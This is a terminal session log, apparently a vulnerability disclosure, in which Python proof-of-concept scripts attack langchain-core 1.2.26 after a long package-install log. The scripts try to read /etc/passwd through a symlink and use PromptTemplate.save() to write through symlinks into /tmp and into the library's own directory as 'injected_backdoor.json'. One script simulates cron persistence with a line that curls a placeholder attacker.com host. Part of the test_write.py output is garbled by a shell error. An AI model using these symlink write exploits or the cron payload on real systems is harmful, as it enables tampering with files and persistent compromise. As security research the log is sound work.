18. Aruba 36. Cayman 54. El_Salvador 72. Indiana/Petersburg 90. Manaus 108. Nome 126. Rankin_Inlet 144. St_Vincent Time zone: 150 Current default time zone: 'America/Toronto' Local time is now: Sat Apr 4 19:06:36 EDT 2026. Universal Time is now: Sat Apr 4 23:06:36 UTC 2026. Run 'dpkg-reconfigure tzdata' if you wish to change it. Setting up fakeroot (1.33-1) ... update-alternatives: using /usr/bin/fakeroot-sysv to provide /usr/bin/fakeroot (fakeroot) in auto mode update-alternatives: warning: skip creation of /usr/share/man/man1/fakeroot.1.gz because associated file /usr/share/man/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/faked.1.gz because associated file /usr/share/man/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/es/man1/fakeroot.1.gz because associated file /usr/share/man/es/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/es/man1/faked.1.gz because associated file /usr/share/man/es/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/fr/man1/fakeroot.1.gz because associated file /usr/share/man/fr/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/fr/man1/faked.1.gz because associated file /usr/share/man/fr/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/sv/man1/fakeroot.1.gz because associated file /usr/share/man/sv/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/sv/man1/faked.1.gz because associated file /usr/share/man/sv/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist Setting up rpcsvc-proto (1.4.2-0ubuntu7) ... Setting up gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ... Setting up libx11-data (2:1.8.7-1build1) ... Setting up make (4.3-4.1build2) ... Setting up libmpfr6:amd64 (4.2.1-1build1.1) ... Setting up gnupg-l10n (2.4.4-2ubuntu17.4) ... Setting up xz-utils (5.6.1+really5.4.5-1ubuntu0.2) ... update-alternatives: using /usr/bin/xz to provide /usr/bin/lzma (lzma) in auto mode update-alternatives: warning: skip creation of /usr/share/man/man1/lzma.1.gz because associated file /usr/share/man/man1/xz.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/unlzma.1.gz because associated file /usr/share/man/man1/unxz.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzcat.1.gz because associated file /usr/share/man/man1/xzcat.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzmore.1.gz because associated file /usr/share/man/man1/xzmore.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzless.1.gz because associated file /usr/share/man/man1/xzless.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzdiff.1.gz because associated file /usr/share/man/man1/xzdiff.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzcmp.1.gz because associated file /usr/share/man/man1/xzcmp.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzgrep.1.gz because associated file /usr/share/man/man1/xzgrep.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzegrep.1.gz because associated file /usr/share/man/man1/xzegrep.1.gz (of link group lzma) doesn't exist update-alternatives: warning: skip creation of /usr/share/man/man1/lzfgrep.1.gz because associated file /usr/share/man/man1/xzfgrep.1.gz (of link group lzma) doesn't exist Setting up perl-modules-5.38 (5.38.2-3.2ubuntu0.2) ... Setting up libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up fonts-dejavu-mono (2.37-8) ... Setting up libpng16-16t64:amd64 (1.6.43-5ubuntu0.5) ... Setting up libmpc3:amd64 (1.3.1-1build1.1) ... Setting up libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up patch (2.7.6-7build3) ... Setting up fonts-dejavu-core (2.37-8) ... Setting up libjpeg-turbo8:amd64 (2.1.5-2ubuntu2) ... Setting up libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... Setting up libwebp7:amd64 (1.3.2-0.4build3) ... Setting up libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up libcrypt-dev:amd64 (1:4.4.36-4build1) ... Setting up libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up netbase (6.4) ... Setting up libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.2) ... Setting up libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up libjs-jquery (3.6.1+dfsg+~3.5.14-1) ... Setting up libbinutils:amd64 (2.42-4ubuntu2.10) ... Setting up libisl23:amd64 (0.26-3build1.1) ... Setting up libde265-0:amd64 (1.0.15-1build3) ... Setting up libc-dev-bin (2.39-0ubuntu8.7) ... Setting up openssl (3.0.13-0ubuntu3.7) ... Setting up libbsd0:amd64 (0.12.1-1build1.1) ... Setting up readline-common (8.2-4build1) ... Setting up libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ... Setting up liblocale-gettext-perl (1.07-6ubuntu5) ... Setting up liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up libjs-underscore (1.13.4~dfsg+~1.11.4-3) ... Setting up gnupg-utils (2.4.4-2ubuntu17.4) ... Setting up libctf0:amd64 (2.42-4ubuntu2.10) ... Setting up libjpeg8:amd64 (8c-2ubuntu11) ... Setting up manpages-dev (6.7-2) ... Setting up libxdmcp6:amd64 (1:1.1.3-0ubuntu6) ... Setting up libxcb1:amd64 (1.15-1ubuntu2) ... Setting up cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... Setting up fontconfig-config (2.15.0-1.1ubuntu2) ... Setting up ca-certificates (20240203) ... debconf: unable to initialize frontend: Dialog debconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 79.) debconf: falling back to frontend: Readline Updating certificates in /etc/ssl/certs... 146 added, 0 removed; done. Setting up perl (5.38.2-3.2ubuntu0.2) ... Setting up libgprofng0:amd64 (2.42-4ubuntu2.10) ... Setting up libfreetype6:amd64 (2.13.2+dfsg-1ubuntu0.1) ... Setting up libjs-sphinxdoc (7.2.6-6) ... Setting up libdpkg-perl (1.22.6ubuntu6.5) ... Setting up libreadline8t64:amd64 (8.2-4build1) ... Setting up libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ... Setting up libtiff6:amd64 (4.5.1+git230720-4ubuntu2.5) ... Setting up gpgconf (2.4.4-2ubuntu17.4) ... Setting up libc6-dev:amd64 (2.39-0ubuntu8.7) ... Setting up libx11-6:amd64 (2:1.8.7-1build1) ... Setting up libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ... Setting up gpg (2.4.4-2ubuntu17.4) ... Setting up libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ... Setting up binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ... Setting up cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... Setting up gpg-agent (2.4.4-2ubuntu17.4) ... Setting up libpython3.12-stdlib:amd64 (3.12.3-1ubuntu0.12) ... Setting up libxpm4:amd64 (1:3.5.17-1build2) ... Setting up cpp-13 (13.3.0-6ubuntu2~24.04.1) ... Setting up libfile-fcntllock-perl (0.22-4ubuntu5) ... Setting up libalgorithm-diff-perl (1.201-1) ... Setting up gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... Setting up python3.12 (3.12.3-1ubuntu0.12) ... Setting up gpgsm (2.4.4-2ubuntu17.4) ... Setting up binutils (2.42-4ubuntu2.10) ... Setting up dpkg-dev (1.22.6ubuntu6.5) ... Setting up libpython3.12t64:amd64 (3.12.3-1ubuntu0.12) ... Setting up dirmngr (2.4.4-2ubuntu17.4) ... Setting up libexpat1-dev:amd64 (2.6.1-2ubuntu0.4) ... Setting up gcc-13 (13.3.0-6ubuntu2~24.04.1) ... Setting up keyboxd (2.4.4-2ubuntu17.4) ... Setting up zlib1g-dev:amd64 (1:1.3.dfsg-3.1ubuntu2.1) ... Setting up cpp (4:13.2.0-7ubuntu1) ... Setting up gnupg (2.4.4-2ubuntu17.4) ... Setting up libalgorithm-diff-xs-perl:amd64 (0.04-8build3) ... Setting up libpython3-stdlib:amd64 (3.12.3-0ubuntu2.1) ... Setting up libalgorithm-merge-perl (0.08-5) ... Setting up g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... Setting up gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... Setting up gpg-wks-client (2.4.4-2ubuntu17.4) ... Setting up python3 (3.12.3-0ubuntu2.1) ... running python rtupdate hooks for python3.12... running python post-rtupdate hooks for python3.12... Setting up libpython3.12-dev:amd64 (3.12.3-1ubuntu0.12) ... Setting up python3-wheel (0.42.0-2) ... Setting up gcc (4:13.2.0-7ubuntu1) ... Setting up python3.12-dev (3.12.3-1ubuntu0.12) ... Setting up g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... Setting up python3-pkg-resources (68.1.2-2ubuntu1.2) ... Setting up g++-13 (13.3.0-6ubuntu2~24.04.1) ... Setting up libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ... Setting up python3-setuptools (68.1.2-2ubuntu1.2) ... Setting up python3-dev (3.12.3-0ubuntu2.1) ... Setting up python3-pip (24.0+dfsg-1ubuntu1.3) ... Setting up g++ (4:13.2.0-7ubuntu1) ... update-alternatives: using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto mode update-alternatives: warning: skip creation of /usr/share/man/man1/c++.1.gz because associated file /usr/share/man/man1/g++.1.gz (of link group c++) doesn't exist Setting up build-essential (12.10ubuntu1) ... Setting up libheif1:amd64 (1.17.6-1ubuntu4.2) ... Setting up libgd3:amd64 (2.3.3-9ubuntu5) ... Setting up libc-devtools (2.39-0ubuntu8.7) ... Setting up libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.2) ... Setting up libheif-plugin-libde265:amd64 (1.17.6-1ubuntu4.2) ... Setting up libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.2) ... Processing triggers for libc-bin (2.39-0ubuntu8.7) ... Processing triggers for ca-certificates (20240203) ... Updating certificates in /etc/ssl/certs... 0 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... done. Collecting langchain-core==1.2.26 Downloading langchain_core-1.2.26-py3-none-any.whl.metadata (4.4 kB) Collecting jsonpatch<2.0.0,>=1.33.0 (from langchain-core==1.2.26) Downloading jsonpatch-1.33-py2.py3-none-any.whl.metadata (3.0 kB) Collecting langsmith<1.0.0,>=0.3.45 (from langchain-core==1.2.26) Downloading langsmith-0.7.25-py3-none-any.whl.metadata (15 kB) Collecting packaging>=23.2.0 (from langchain-core==1.2.26) Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB) Collecting pydantic<3.0.0,>=2.7.4 (from langchain-core==1.2.26) Downloading pydantic-2.12.5-py3-none-any.whl.metadata (90 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 90.6/90.6 kB 1.5 MB/s eta 0:00:00 Collecting pyyaml<7.0.0,>=5.3.0 (from langchain-core==1.2.26) Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB) Collecting tenacity!=8.4.0,<10.0.0,>=8.1.0 (from langchain-core==1.2.26) Downloading tenacity-9.1.4-py3-none-any.whl.metadata (1.2 kB) Collecting typing-extensions<5.0.0,>=4.7.0 (from langchain-core==1.2.26) Downloading typing_extensions-4.15.0-py3-none-any.whl.metadata (3.3 kB) Collecting uuid-utils<1.0,>=0.12.0 (from langchain-core==1.2.26) Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (4.8 kB) Collecting jsonpointer>=1.9 (from jsonpatch<2.0.0,>=1.33.0->langchain-core==1.2.26) Downloading jsonpointer-3.1.1-py3-none-any.whl.metadata (2.4 kB) Collecting httpx<1,>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading httpx-0.28.1-py3-none-any.whl.metadata (7.1 kB) Collecting orjson>=3.9.14 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (41 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 42.0/42.0 kB 2.5 MB/s eta 0:00:00 Collecting requests-toolbelt>=1.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl.metadata (14 kB) Collecting requests>=2.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading requests-2.33.1-py3-none-any.whl.metadata (4.8 kB) Collecting xxhash>=3.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (13 kB) Collecting zstandard>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (3.3 kB) Collecting annotated-types>=0.6.0 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.26) Downloading annotated_types-0.7.0-py3-none-any.whl.metadata (15 kB) Collecting pydantic-core==2.41.5 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.26) Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (7.3 kB) Collecting typing-inspection>=0.4.2 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.26) Downloading typing_inspection-0.4.2-py3-none-any.whl.metadata (2.6 kB) Collecting anyio (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading anyio-4.13.0-py3-none-any.whl.metadata (4.5 kB) Collecting certifi (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading certifi-2026.2.25-py3-none-any.whl.metadata (2.5 kB) Collecting httpcore==1.* (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading httpcore-1.0.9-py3-none-any.whl.metadata (21 kB) Collecting idna (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading idna-3.11-py3-none-any.whl.metadata (8.4 kB) Collecting h11>=0.16 (from httpcore==1.*->httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading h11-0.16.0-py3-none-any.whl.metadata (8.3 kB) Collecting charset_normalizer<4,>=2 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (40 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 40.9/40.9 kB 1.9 MB/s eta 0:00:00 Collecting urllib3<3,>=1.26 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26) Downloading urllib3-2.6.3-py3-none-any.whl.metadata (6.9 kB) Downloading langchain_core-1.2.26-py3-none-any.whl (508 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 508.3/508.3 kB 4.2 MB/s eta 0:00:00 Downloading jsonpatch-1.33-py2.py3-none-any.whl (12 kB) Downloading langsmith-0.7.25-py3-none-any.whl (359 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 359.4/359.4 kB 3.0 MB/s eta 0:00:00 Downloading packaging-26.0-py3-none-any.whl (74 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 74.4/74.4 kB 1.9 MB/s eta 0:00:00 Downloading pydantic-2.12.5-py3-none-any.whl (463 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 463.6/463.6 kB 2.5 MB/s eta 0:00:00 Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.1 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 2.8 MB/s eta 0:00:00 Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (807 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 807.9/807.9 kB 3.1 MB/s eta 0:00:00 Downloading tenacity-9.1.4-py3-none-any.whl (28 kB) Downloading typing_extensions-4.15.0-py3-none-any.whl (44 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 44.6/44.6 kB 1.9 MB/s eta 0:00:00 Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (345 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 345.7/345.7 kB 2.7 MB/s eta 0:00:00 Downloading annotated_types-0.7.0-py3-none-any.whl (13 kB) Downloading httpx-0.28.1-py3-none-any.whl (73 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 73.5/73.5 kB 4.7 MB/s eta 0:00:00 Downloading httpcore-1.0.9-py3-none-any.whl (78 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 78.8/78.8 kB 5.9 MB/s eta 0:00:00 Downloading jsonpointer-3.1.1-py3-none-any.whl (7.7 kB) Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (133 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 133.6/133.6 kB 5.0 MB/s eta 0:00:00 Downloading requests-2.33.1-py3-none-any.whl (64 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 64.9/64.9 kB 2.8 MB/s eta 0:00:00 Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl (54 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 54.5/54.5 kB 2.5 MB/s eta 0:00:00 Downloading typing_inspection-0.4.2-py3-none-any.whl (14 kB) Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (193 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 193.9/193.9 kB 3.4 MB/s eta 0:00:00 Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (5.5 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5.5/5.5 MB 3.6 MB/s eta 0:00:00 Downloading certifi-2026.2.25-py3-none-any.whl (153 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 153.7/153.7 kB 6.6 MB/s eta 0:00:00 Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (216 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 216.6/216.6 kB 4.1 MB/s eta 0:00:00 Downloading idna-3.11-py3-none-any.whl (71 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 71.0/71.0 kB 2.7 MB/s eta 0:00:00 Downloading urllib3-2.6.3-py3-none-any.whl (131 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 131.6/131.6 kB 4.9 MB/s eta 0:00:00 Downloading anyio-4.13.0-py3-none-any.whl (114 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 114.4/114.4 kB 7.9 MB/s eta 0:00:00 Downloading h11-0.16.0-py3-none-any.whl (37 kB) Installing collected packages: zstandard, xxhash, uuid-utils, urllib3, typing-extensions, tenacity, pyyaml, packaging, orjson, jsonpointer, idna, h11, charset_normalizer, certifi, annotated-types, typing-inspection, requests, pydantic-core, jsonpatch, httpcore, anyio, requests-toolbelt, pydantic, httpx, langsmith, langchain-core Successfully installed annotated-types-0.7.0 anyio-4.13.0 certifi-2026.2.25 charset_normalizer-3.4.7 h11-0.16.0 httpcore-1.0.9 httpx-0.28.1 idna-3.11 jsonpatch-1.33 jsonpointer-3.1.1 langchain-core-1.2.26 langsmith-0.7.25 orjson-3.11.8 packaging-26.0 pydantic-2.12.5 pydantic-core-2.41.5 pyyaml-6.0.3 requests-2.33.1 requests-toolbelt-1.0.0 tenacity-9.1.4 typing-extensions-4.15.0 typing-inspection-0.4.2 urllib3-2.6.3 uuid-utils-0.14.1 xxhash-3.6.0 zstandard-0.25.0 WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv root@9b2f0aa2ab26:/# echo "====================================================================================" echo " Inside Docker Container - LangChain v1.2.26" echo "====================================================================================" echo "" echo "# First, let's verify our environment" python3 --version python3 -c "import langchain_core; print(f'LangChain-core version: {langchain_core.__version__}')" echo "" sleep 2 ==================================================================================== Inside Docker Container - LangChain v1.2.26 ==================================================================================== # First, let's verify our environment Python 3.12.3 LangChain-core version: 1.2.26 root@9b2f0aa2ab26:/# echo "# PART 1: The READ vulnerability (Mostly Fixed)" echo "# =============================================" echo "" echo "# In v1.2.26, load_prompt_from_config() now has allow_dangerous_paths=False" echo "# This blocks reading sensitive files... let's test:" cat << 'EOF' > test_read.py import os from langchain_core.prompts.loading import load_prompt_from_config print("Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...") # Create symlink to /etc/passwd os.symlink("/etc/passwd", "test_bypass.txt") config = { "_type": "prompt", "template_path": "test_bypass.txt", "template_format": "f-string", "input_variables": [] } try: # Default (allow_dangerous_paths=False) result = load_prompt_from_config(config) print("❌ FAIL: Can still read /etc/passwd!") except ValueError as e: print(f"✅ GOOD: Blocked with error: {str(e)[:80]}...") print("\nNow testing with allow_dangerous_paths=True...") try: result = load_prompt_from_config(config, allow_dangerous_paths=True) print(f"✅ With allow_dangerous_paths=True: Can read /etc/passwd") print(f" First line: {result.template.split('\\n')[0]}") except Exception as e: print(f"❌ Even with allow_dangerous_paths=True: {type(e).__name__}: {e}") # Cleanup os.remove("test_bypass.txt") EOF python3 test_read.py sleep 3 # PART 1: The READ vulnerability (Mostly Fixed) # ============================================= # In v1.2.26, load_prompt_from_config() now has allow_dangerous_paths=False # This blocks reading sensitive files... let's test: Testing load_prompt_from_config() with allow_dangerous_paths=False (default)... //test_read.py:18: LangChainDeprecationWarning: The function `load_prompt_from_config` was deprecated in LangChain 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead. result = load_prompt_from_config(config) ✅ GOOD: Blocked with error: ... Now testing with allow_dangerous_paths=True... No `_type` key found, defaulting to `prompt`. ❌ Even with allow_dangerous_paths=True: ValidationError: 1 validation error for PromptTemplate template Field required [type=missing, input_value={'template_format': 'f-st..., 'input_variables': []}, input_type=dict] For further information visit https://errors.pydantic.dev/2.12/v/missing root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# echo "" echo "# PART 2: The WRITE vulnerability (STILL EXISTS!)" echo "# ===============================================" echo "" echo "# The save() method doesn't have allow_dangerous_paths protection!" echo "# Let me prove we can still write anywhere via symlinks..." cat << 'EOF' > test_write.py import os import json from langchain_core.prompts import PromptTemplate print("Testing PromptTemplate.save() vulnerability...") # Create a simple prompt prompt = PromptTemplate.from_template("Malicious payload") print("\n1. Testing arbitrary file write via .json symlink:") target_file = "/tmp/test_save_vuln.json" symlink_name = "exploit.json" try: os.symlink(target_file, symlink_name) prompt.save(symlink_name) print(f"✅ SUCCESS: Wrote to {target_file} via symlink") # Verify if os.path.exists(target_file): with open(target_file, 'r') as f: content = f.read() if "Malicious payload" in content: print(" ✓ Payload verified in target file") os.remove(target_file) except Exception as e: print(f"❌ FAILED: {type(e).__name__}: {e}") finally: if os.path.exists(symlink_name): os.remove(symlink_name) print("\n2. Testing Scope Change - Writing to LangChain package:") import langchain_core langchain_path = langchain_core.__path__[0] package_target = f"{langchain_path}/injected_backdoor.json" package_symlink = "package_attack.json" try: os.symlink(package_target, package_symlink) prompt.save(package_symlink) print(f"✅ SCOPE CHANGE: Wrote to {package_target}") print(" This proves we can modify the library itself!") if os.path.exists(package_target): os.remove(package_target) sleep 3 test_write.pyl_symlink)ink):.__name__}: {e}")_}: {e}") bash: !: event not found # =============================================== # The save() method doesn't have allow_dangerous_paths protection! # Let me prove we can still write anywhere via symlinks... Testing PromptTemplate.save() vulnerability... 1. Testing arbitrary file write via .json symlink: //test_write.py:16: LangChainDeprecationWarning: The method `BasePromptTemplate.save` was deprecated in langchain-core 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead. prompt.save(symlink_name) ✅ SUCCESS: Wrote to /tmp/test_save_vuln.json via symlink ✓ Payload verified in target file 2. Testing Scope Change - Writing to LangChain package: ✅ SCOPE CHANGE: Wrote to /usr/local/lib/python3.12/dist-packages/langchain_core/injected_backdoor.json This proves we can modify the library itself! 3. Testing .yaml files too: ✅ YAML write works: /tmp/test_yaml_vuln.yaml root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# echo "" echo "# PART 3: Real-World Attack Scenario" echo "# ==================================" echo "" echo "# An attacker could:" echo "# 1. Write to cron directories for persistence" echo "# 2. Modify application configs" echo "# 3. Poison LangChain's own config files" echo "# 4. Create malformed JSON causing DoS" cat << 'EOF' > real_attack.py import os import json from langchain_core.prompts import PromptTemplate print("Real attack scenario: Writing to cron directory") print("(Simulating - would need root permissions in real attack)") # Simulate writing a cron job cron_content = { "attack": "Cron job injection via LangChain", "command": "*/5 * * * * curl http://attacker.com/pwn", "method": "LangChain save() symlink vulnerability" } prompt = PromptTemplate.from_template(json.dumps(cron_content, indent=2)) # Try to write to a test location test_cron = "/tmp/test_cron.json" symlink = "cron_attack.json" try: os.symlink(test_cron, symlink) prompt.save(symlink) if os.path.exists(test_cron): with open(test_cron, 'r') as f: print(f"✅ Cron payload written: {f.read()[:80]}...") os.remove(test_cron) except Exception as e: print(f"❌ Cron attack simulation: {type(e).__name__}: {e}") finally: if os.path.exists(symlink): os.remove(symlink) print("\nThis demonstrates that save() can write ANY .json file ANYWHERE") print("No allow_dangerous_paths parameter, no path validation!") EOF python3 real_attack.py sleep 3 # PART 3: Real-World Attack Scenario # ================================== # An attacker could: # 1. Write to cron directories for persistence # 2. Modify application configs # 3. Poison LangChain's own config files # 4. Create malformed JSON causing DoS Real attack scenario: Writing to cron directory (Simulating - would need root permissions in real attack) //real_attack.py:23: LangChainDeprecationWarning: The method `BasePromptTemplate.save` was deprecated in langchain-core 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead. prompt.save(symlink) ✅ Cron payload written: { "name": null, "input_variables": [ "\n \"attack\"" ], ... This demonstrates that save() can write ANY .json file ANYWHERE No allow_dangerous_paths parameter, no path validation! root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# root@9b2f0aa2ab26:/# echo "" echo "# PART 4: What's Missing in save()" echo "# =================================" echo "" echo "# Let's look at what save() SHOULD have but doesn't:" cat << 'EOF' > show_missing.py import inspect from langchain_core.prompts import PromptTemplate print("Comparing save() vs load_prompt_from_config():\n") # Get signatures try: sig_save = inspect.signature(PromptTemplate.save) print("save() signature:") print(f" {sig_save}") print(f" Parameters: {list(sig_save.parameters.keys())}") print(f" Missing: allow_dangerous_paths parameter") print(f" Missing: Path.resolve() call") print(f" Missing: _validate_path() call") except Exception as e: print(f"Error getting save signature: {e}") print("\n\nWhat save() SHOULD look like:") print(""" def save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False): path = Path(file_path) if not allow_dangerous_paths: _validate_path(path) # ← MISSING resolved_path = path.resolve() # ← 